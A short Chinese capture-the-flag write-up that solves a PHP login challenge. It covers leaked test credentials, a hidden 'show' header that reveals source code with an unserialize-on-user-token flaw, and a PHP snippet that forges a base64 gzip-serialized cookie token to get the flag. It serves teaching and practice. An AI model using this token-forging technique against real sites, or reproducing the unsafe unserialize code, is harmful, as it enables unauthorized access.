- 发现登入页面的查看器里面有注释 test1 test1
- 用其登入。得到得到掀桌子的页面 (╯‵□′)╯︵┴─┴
-
之后无线索。查看wp发现。返回头里面有个show: 0
图片.png - 试试发送show: 1
- 得到
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?> -->
- 该程序显示需要$login['user']='ichunqiu'
- requset['token'])));
- 而token是_GET, _SESSION, $_COOKIE);或得到的。
- 注意array_merge遇见相同的健,会去后面的所以Cookie里面传token最好。
- 构造token
<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>
- 得到 eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==,向login页面发送这个cookie,即得到flag
网友评论